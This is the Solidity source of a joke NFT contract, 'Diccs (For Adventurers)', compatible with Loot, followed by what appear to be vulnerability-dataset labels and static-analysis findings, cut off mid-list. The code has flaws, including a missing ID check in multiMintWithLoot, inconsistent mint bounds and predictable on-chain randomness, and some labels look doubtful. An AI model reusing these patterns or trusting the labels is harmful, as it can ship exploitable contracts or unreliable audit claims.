* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
interface LootInterface {
function ownerOf(uint256 tokenId) external view returns (address owner);
}
contract LootDicc is ERC721Enumerable, ReentrancyGuard, Ownable {
uint256 public price = 15000000000000000; //0.015 ETH
//Loot Contract
address public lootAddress = 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7;
LootInterface public lootContract = LootInterface(lootAddress);
string[] private length = [
"Length 3",
"Length 4",
"Length 5",
"Length 6",
"Length 7",
"Length 8",
"Length 9",
"Length 10",
"Length 11",
"Length 12",
"Length 13",
"Length 14",
"Length 15",
"Length 16",
"Length 17",
"Length 18"
];
string[] private girth = [
"Girth 3",
"Girth 4",
"Girth 5",
"Girth 6",
"Girth 7",
"Girth 8",
"Girth 9",
"Girth 10",
"Girth 11",
"Girth 12",
"Girth 13",
"Girth 14",
"Girth 15",
"Girth 16",
"Girth 17",
"Girth 18"
];
string[] private hardness = [
"Hardness 3",
"Hardness 4",
"Hardness 5",
"Hardness 6",
"Hardness 7",
"Hardness 8",
"Hardness 9",
"Hardness 10",
"Hardness 11",
"Hardness 12",
"Hardness 13",
"Hardness 14",
"Hardness 15",
"Hardness 16",
"Hardness 17",
"Hardness 18"
];
string[] private curvature = [
"Curvature 3",
"Curvature 4",
"Curvature 5",
"Curvature 6",
"Curvature 7",
"Curvature 8",
"Curvature 9",
"Curvature 10",
"Curvature 11",
"Curvature 12",
"Curvature 13",
"Curvature 14",
"Curvature 15",
"Curvature 16",
"Curvature 17",
"Curvature 18"
];
string[] private veininess = [
"Veininess 3",
"Veininess 4",
"Veininess 5",
"Veininess 6",
"Veininess 7",
"Veininess 8",
"Veininess 9",
"Veininess 10",
"Veininess 11",
"Veininess 12",
"Veininess 13",
"Veininess 14",
"Veininess 15",
"Veininess 16",
"Veininess 17",
"Veininess 18"
];
string[] private loadsize = [
"Load Size 3",
"Load Size 4",
"Load Size 5",
"Load Size 6",
"Load Size 7",
"Load Size 8",
"Load Size 9",
"Load Size 10",
"Load Size 11",
"Load Size 12",
"Load Size 13",
"Load Size 14",
"Load Size 15",
"Load Size 16",
"Load Size 17",
"Load Size 18"
];
string[] private bigdickenergy = [
"Big Dick Energy 3",
"Big Dick Energy 4",
"Big Dick Energy 5",
"Big Dick Energy 6",
"Big Dick Energy 7",
"Big Dick Energy 8",
"Big Dick Energy 9",
"Big Dick Energy 10",
"Big Dick Energy 11",
"Big Dick Energy 12",
"Big Dick Energy 13",
"Big Dick Energy 14",
"Big Dick Energy 15",
"Big Dick Energy 16",
"Big Dick Energy 17",
"Big Dick Energy 18"
];
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function getLength(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "LENGTH", length);
}
function getGirth(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "GIRTH", girth);
}
function getHardness(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "HARDNESS", hardness);
}
function getCurvature(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "CURVATURE", curvature);
}
function getVeininess(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "VEININESS", veininess);
}
function getLoadsize(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "LOADSIZE", loadsize);
}
function getBigdickenergy(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "BIGDICKENERGY", bigdickenergy);
}
function pluck(
uint256 tokenId,
string memory keyPrefix,
string[] memory sourceArray
) internal pure returns (string memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId))));
string memory output = sourceArray[rand % sourceArray.length];
return output;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
string[15] memory parts;
parts[
0
] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">';
parts[1] = getLength(tokenId);
parts[2] = '</text><text x="10" y="40" class="base">';
parts[3] = getGirth(tokenId);
parts[4] = '</text><text x="10" y="60" class="base">';
parts[5] = getHardness(tokenId);
parts[6] = '</text><text x="10" y="80" class="base">';
parts[7] = getCurvature(tokenId);
parts[8] = '</text><text x="10" y="100" class="base">';
parts[9] = getVeininess(tokenId);
parts[10] = '</text><text x="10" y="120" class="base">';
parts[11] = getLoadsize(tokenId);
parts[12] = '</text><text x="10" y="140" class="base">';
parts[13] = getBigdickenergy(tokenId);
parts[14] = "</text></svg>";
string memory output = string(
abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8])
);
output = string(
abi.encodePacked(
output,
parts[9],
parts[10],
parts[11],
parts[12],
parts[13],
parts[14]
)
);
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Diccs (For Adventurers) #',
toString(tokenId),
'", "description": "Every adventurer needs a Dicc. Presenting Diccs (for adventurers). Diccs are randomly generated and stored on chain. Images and other functionality are intentionally omitted for others to interpret. Feel free to use Diccs in any way you want. Inspired and compatible with Loot (for Adventurers)", "image": "data:image/svg+xml;base64,',
Base64.encode(bytes(output)),
'"}'
)
)
)
);
output = string(abi.encodePacked("data:application/json;base64,", json));
return output;
}
function mint(uint256 tokenId) public payable nonReentrant {
require(tokenId > 8000 && tokenId <= 12000, "Token ID invalid");
require(price <= msg.value, "Ether value sent is not correct");
_safeMint(_msgSender(), tokenId);
}
function multiMint(uint256[] memory tokenIds) public payable nonReentrant {
require((price * tokenIds.length) <= msg.value, "Ether value sent is not correct");
for (uint256 i = 0; i < tokenIds.length; i++) {
require(tokenIds[i] > 8000 && tokenIds[i] < 12000, "Token ID invalid");
_safeMint(msg.sender, tokenIds[i]);
}
}
function mintWithLoot(uint256 lootId) public payable nonReentrant {
require(lootId > 0 && lootId <= 8000, "Token ID invalid");
require(lootContract.ownerOf(lootId) == msg.sender, "Not the owner of this loot");
_safeMint(_msgSender(), lootId);
}
function multiMintWithLoot(uint256[] memory lootIds) public payable nonReentrant {
for (uint256 i = 0; i < lootIds.length; i++) {
require(lootContract.ownerOf(lootIds[i]) == msg.sender, "Not the owner of this loot");
_safeMint(_msgSender(), lootIds[i]);
}
}
function withdraw() public onlyOwner {
payable(owner()).transfer(address(this).balance);
}
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT license
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
constructor() ERC721("Diccs (For Adventurers)", "LootDicc") Ownable() {}
}
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["1506"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1486", "1499"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["595"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1516", "1552", "306", "179", "201"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["694"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["285", "270", "1225", "296", "1055", "698", "50", "1093", "991"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["975", "974", "944", "920"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LootDicc.sol": [611, 612, 613, 614]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LootDicc.sol": [1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1573, 1574, 1575, 1576, 1577, 1578, 1579, 1580, 1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LootDicc.sol": [442, 443, 444]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"LootDicc.sol": [1016, 1014, 1015]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [1232]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"LootDicc.sol": [1229]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [1220]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [1194]}}, {"check": "costly-loop", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [1219]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [464, 465, 466, 467, 468, 469]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [518, 519, 520, 521, 522, 523, 524]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [588, 589, 590, 591, 592, 593, 594, 595, 596, 597]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [578, 579, 580]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [241, 242, 243]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [552, 553, 551]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"LootDicc.sol": [736, 737, 738]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": 